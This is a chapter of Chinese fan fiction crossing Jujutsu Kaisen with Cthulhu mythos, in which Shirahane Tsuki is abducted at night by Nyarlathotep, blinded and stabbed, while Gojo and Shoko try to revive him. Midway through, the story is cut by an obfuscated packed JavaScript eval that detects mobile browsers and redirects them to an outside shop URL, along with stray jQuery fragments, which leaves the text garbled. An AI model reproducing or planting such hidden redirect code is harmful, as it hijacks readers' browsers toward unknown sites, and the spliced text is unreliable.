“总之,非常抱歉。”


    白波月万分歉意的按着五条悟的头让他鞠躬,像是按着一只不愿意进洗澡水的猫。


    “唉。”夜蛾正道叹口气,他硬朗的脊背仿佛都塌陷下来,“都多大的人了,祓除咒灵的时候还能忘放帐,悟就算了,月你也……”


    一想到学生时代时,白波月好像也没少干坏事,夜蛾正道就不由得摸摸下巴上的胡茬。


    白波月是个乖孩子这种奇怪的印象到底是从哪儿来的啊?


    “你们两个!都是老师了还会犯这种错误!”夜蛾正道的目光瞟到门外的人影,语气就突然强硬起来,五条悟也突然变得坐没坐相。


    “诶呀,夜蛾你真啰嗦,老子照顾那些弱者已经很烦了,哪有那个闲工夫。”


    房门外笃笃两声敲门声打断了房间里的谈话,随后是一个低沉的中年男性的声音响起:“夜蛾校长,总监部传唤五条家主。”


    “啧,真麻烦啊。”五条悟脸上露出些烦燥的神色。


    他抬屁股就走,一幅早就不耐烦应付夜蛾正道的样子,看都没看他一眼就和总监部的人出了门。


    等他们出了学校,白波月和夜蛾正道双双站到门廊外目送。


    白波月推推脸上的眼镜:“那边还真麻烦啊。”估计是因为【里香】完全解放而来找麻烦的吧,作为监管不当的主要负责人之一,他没被一起带过去可真是稀奇事。


    但话又说回来!


    没放帐而造成的惨状有一大半是悟造成的,他才不要帮悟写检讨报告呢,不如直接脚底抹油!


    “那夜蛾校长,我就先回去了。”此时不溜更待何时,难不成真要等已经做了校长的老师再给他留一篇检讨吗?


    夜蛾正道挥挥手,眼不见心不烦。


    “虽然不知道你和悟还有杰都在做什么,但你们几个,也要注意安全。”他挥舞的手放下。


    不远处的操场内,熊猫和禅院真希正打的手感火热,再看一眼那坑坑洼洼的地面。也不知道是这三个小混蛋里的哪一个说的,说自己上学期间能把操场砸出三米深的坑,搞得新来的一年级们全冲这个目标使劲儿。


    操场现在是没一片好地方了。


    唉。


    这些小混蛋,还真是一点都没长大啊。


    ————————


    是夜。


    书桌上整整一摞的书面报告正是白波月奋斗了整整一个下午的证明,总监部别的不说,光是报告就要交三份。


    三份,谁看啊,用来吃吗?


    感觉他们吃纸都能吃饱了。


    不过好在痛苦的工作终于做完了,接下来他就能轻松一小段时间了,他可不想在主角走剧情的时候他因为意外的任务导致没法参与进来。


    那和被ban有什么区别,他才不要在过剧情的时候出差。


    他又不是中●中也。


    咳,话密了。


    不过现在的他确实有了一点空闲的时间,这个时间点距离他睡觉的时间还早,正是出门找朋友耍的好时机。


    但不巧,今天五条悟去开会了,夏油杰也出门为搞事做点事前的准备,学校里除了学生就只剩下值班的硝子值得聊聊天了。


    嗯……可硝子最近好像很忙的样子,就连睡觉都是碎片化的,还是不要打扰她了。


    白波月关掉手机里了通讯界面,看了看浴室,又看了看床,心中顿时有了定夺。


    做下决定后他走进浴室,非常彻底的洗了个澡,又把自己吹的暖烘烘的,然后一下子扑进了自己毛茸茸的床上。


    嘿嘿,今天就早睡吧~


    温度舒适,亮度昏暗,身上的一切都是那么的舒适、暖和。


    本应顺从这感觉而进入睡眠模式的大脑,此刻却不合时宜的回忆起今天对阵肿胀之女的画面。她那臃肿的身材和脸在他眼前急速放大,白波月的眼睛里只能看到那包含着尖锐獠牙的红唇冲他大笑。


    “这样,真的好吗?”


    低沉的呓语温热的吐在耳边,白波月猛地翻身坐起,身下柔软的床铺变得坚硬,只有眼前的黑暗还是一同往常。


    是不是,有点太黑了。


    真正的伸手不见五指,白波月调出自己的术式面板,上面散发出的莹莹蓝光没有照亮任何东西,而他的状态栏上此刻正大大的写着两个字:失明。


    他蹲下身,试图用手触碰他踩着的地面。


    手掌在自己刚刚起身的地面上摸了一把,是冰凉坚硬的触感。指尖处还传来一些砂砾的琐碎的手感,他细细摸索着,还试图把指尖的东西放到眼前。


    还是看不见。


    但手下明显是沙子和粗砾组成的土地让他有了个不好的猜测——他在埃及。


    干什么,他打了个肿胀之女而已,当晚就把他传送走了,这么玩不起?


    人干事?


    啊这,奈亚好像确实不是人。


    人类的道德无法限制旧日,就像鱼不用管非机动车能不能走机动车道。


    白波月跪在地上摸索着,脑子里则是在疯狂转动思考自己该怎么办。


    他没带武器。


    这次回学校除了夜蛾校长知道外,就只有悟知道。但悟现在去了总监部今天不回学校,夜蛾校长也不是会深夜打扰他的人,硝子更是连他在学校这回事都不清楚,外援大概是指望不上了,想活着就得先自己想办法。


    可自己想办法的话,他失明了啊!


    “噗。”


    不知道哪里来的嗤笑声在这安静的空间中异常鲜明。


    白波月头上崩起不显眼的青筋,要杀要剐都给我光明正大的打啊,给他上个失明然后看他狗爬是什么意思,羞辱?


    “羞辱?人类现在把这种行为就称为羞辱了吗?我还以为得是当众受以鞭刑才能勉强算是呢。”


    鞭刑?你当是古埃及吗?


    “毕竟我之前醒来的时代就是你口中所谓的古埃及啊。”


    所以你果然是奈亚。


    “哦呀,现在人类已经能说出我的真名了吗?还是说……”


    “不一样的只有你呢。”


    一只冰凉干枯的手突兀的摸向他的脸,失明的视野给不了白波月他任何的安全感,他被这突然的触碰吓到,身体猛地后退了一步还险些摔倒。


    该死的失明。


    “这可是用来保护你的,直面这张脸你可是会在交流前就先疯掉,你这么有趣的玩意儿我还想留着多玩玩呢。”


    玩玩?你不怕我再杀掉你这个化身吗?


    “嗯?这个化身的身份你也知道?确实呢,你之前提到了古埃及,这么看你知道的东西确实很多,这个身份可没去过东亚。”


    “我现在更好奇了,人类。你不该知道这么多的,这个世界就连密斯卡托尼克大学都没有,你这些禁忌的知识又是哪儿来的。”


    白波月原地罚站的身体突然感觉到一阵寒意慢慢攀附上来,骰子自动出现在他手中,冰凉的金属在此刻竟然带来一些温暖,温暖顺着他的肢体传遍全身,驱散寒意。


    “嗯哼,看来还有小东西插手保你,你还挺收欢迎的嘛。”


    干枯的手指戳戳他的脸,寒意顺着那点接触疯狂的涌入他的身体,手中的骰子瞬间迸发出惊人的热量,白波月的身体仿佛成为了这两股力量的战场,他能清晰地感觉到自己的血液随着这两股力量正四处冲撞。


    “哦呀。”


    在白波月感到自己各方面都马上就要抵达极限的时候,这两种力


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918348|188940||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    量默契的齐齐收回。


    “差点玩死,人类还真是脆弱啊。”


    那只手单手拎起他的胳膊,把他悬吊在空中。白波月不知道自己离地多高,他现在还没回过神。耳鸣、眩晕、反胃,他甚至因为失明的关系都无法及时感知自己眼前是不是在发黑。


    “人类,你要死了吗?”


    “即便不是幼崽,人类也很脆弱啊,呵嘻嘻,可惜,宇宙中脆弱就是原罪哦。”


    话音落下,他又被放下了。


    但因为之前力量的冲击,他浑身无力且巨痛,只能瘫软在地上,连站起的力气都没有。


    这是哪儿。


    “是祭坛,曾经匍匐于我的人类建造的,上面应该落满灰尘了,但别介意,你会把它弄干净的。”


    失明的效果还未消失,白波月根本不知道眼前的危机。他只是突然就觉得好痛,像是被一把锋利的匕首刺破肚皮。


    不对,他确实被刺穿了。


    “难得回来一次就发现了你这么有趣的人类。”


    “人类,陪我多玩一会吧。”


    “如果你挺过来了,那我就告诉你点有趣的东西,怎么样?”


    奈亚的游戏没有开始键,也没有结束键,在他玩腻之前,他的游戏会一直进行下去。


    而他的玩具,也得一直陪他尽兴才行。


    ————————


    “嗯?”家入硝子接起吵醒她浅眠的电话:“五条,你最好有非常要紧的事要说,不然你就死定了。”


    她语气淡淡,这句威胁也被说的像是平淡的抱怨。


    她真的很累了,累到连生气的力气都没有了。刚醒来的脑子还没清醒,她迷迷糊糊的靠在桌子上,直点头。


    突然她挺住了,电话里五条悟的声音好像平淡的说了些什么。这让她直接睁开原本还黏黏糊糊的迷蒙睡眼,那双眼里内里没有一丝睡意。


    家入硝子飞快穿好自己随意丢在一旁的白大褂,手里拎起放在一旁的紧急救援包,大跨步冲向了咒术高专的宿舍大楼。


    “在哪儿。”


    “月的宿舍。”


    “脉搏。”


    “还在下降。”


    “伤口呢。”


    “没有……”


    “什么意思?”家入硝子没有停住脚步,她虽然不太相信白波会在咒术高专里遇袭,可都到了脉搏下降的程度,最起码也得有一两个严重的外伤吧。


    “没有,月的身上没有任何伤口,但他的呼吸在减弱,脉搏也在变慢。硝子你得赶紧过来,我不确定他什么时候会停止呼吸。”


    “我的反转术式没法给别人用。”


    五条悟快速的扯掉白波月床上的枕头和被子,解开他衣领的扣子,灯光通明的室内让六眼轻易的捕捉到了白波月惨白到开始发青的脸色。


    他半跪在白波月床上,轻易的就回忆起那多年前他曾破门而入看到的画面。


    伤口能捂住,虚弱能养回来,可月现在只是躺在这儿,生命却像是无法观察的时间那样无情流逝。拨打给夜蛾的电话还在忙音,大敞开的门口就传来了熟悉的鞋跟敲击声。


    “硝子!”


    五条悟绷直的嘴角显露出他紧张的心情,他飞快把观察位让给家入硝子,家入硝子也不客气,直接拿出手电筒开始探查白波月的身体反应。


    她好像只看了几秒,又像是看了几个小时,等她放下手电筒的时候,抬头就是五条悟那严肃中带着期盼的样子。


    可惜,她没法给出更好的答案了。


    “我施展术式,五条,你来做心肺复苏。”


    4月22日,傍晚21时16分,已确认特级咒术师―白波月失去自主呼吸。


    抢救开始。